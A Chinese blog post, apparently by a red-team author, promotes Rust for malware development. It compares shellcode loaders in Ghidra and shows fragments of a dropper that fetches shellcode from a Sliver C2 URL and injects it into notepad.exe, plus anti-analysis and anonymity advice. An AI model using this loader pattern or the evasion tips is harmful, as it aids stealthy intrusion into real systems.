Rust在恶意软件开发中的优势与实践

本文探讨了使用Rust语言开发恶意软件相比传统C语言的优势,包括其反分析特性和对逆向工程的挑战。通过一个简单的shellcode注入器实例,展示了Rust如何更好地模拟现代攻击技术。

Rust在恶意软件开发中的应用

引言

作者分享了学习Rust进行恶意软件开发的经历,旨在提升模拟真实攻击的能力。Rust因其固有的反分析特性成为首选语言,能开发更具隐蔽性的工具。

Rust与C语言的对比分析

近年来,Go、Nim和Rust等语言在恶意软件作者中日益流行,主要基于两个假设:

  1. 这些语言编译的二进制文件比C/C++更难逆向分析
  2. 非常规语言开发的恶意软件更容易绕过基于签名的检测机制

2023年罗切斯特理工学院的一项研究证实:

  • Rust二进制文件显著大于C/C++版本
  • 自动化分析工具对Rust程序产生更多误报和漏报
  • Ghidra和IDA Free等工具对Rust二进制文件的反编译效果较差

实例分析:Shellcode加载器

通过功能相同的Rust和C版shellcode加载器进行对比:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
    System::{
        Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
        Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
    },
    Foundation::CloseHandle
};

编译后,Rust程序(151.5KB)几乎是C程序(71.7KB)的两倍,这是因为Rust默认静态链接依赖项。

Ghidra逆向分析对比

Rust程序的反编译输出难以理解,原因包括:

  1. Ghidra尝试将Rust反编译为伪C代码,但内存管理和优化差异导致难以理解
  2. rustc的编译优化导致函数边界模糊,汇编代码高度优化

相比之下,C程序的反编译输出与源代码高度一致。

开发Rust恶意软件投放器

构建一个投放器演示,功能包括:

  1. 枚举目标进程以注入payload
  2. 使用文件映射注入技术执行payload
  3. 通过HTTPS部署Sliver C2框架

关键代码模块:

1
2
3
4
5
6
7
8
9
mod enumerate_processes;
mod remote_mapping_injection;
mod http_client;

fn main() {
    let url = String::from("https://sliver.nrcerne.com:8444/DULL_EQUIPMENT");
    let shellcode = http_client::get_payload_bytes(url).unwrap();
    // 注入notepad.exe进程
}

操作安全考虑

Rust会在二进制文件中包含绝对路径(用于调试),因此需在匿名环境中编译以保护操作安全。

结论

Rust是C/C++开发恶意软件的优秀替代方案。虽然Ghidra 11.0在反编译Rust二进制文件方面取得进步,但由于函数内联和编译优化,分析Rust程序仍然困难。更大的二进制文件也增加了分析时间成本。

完整代码示例可在GitHub获取

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计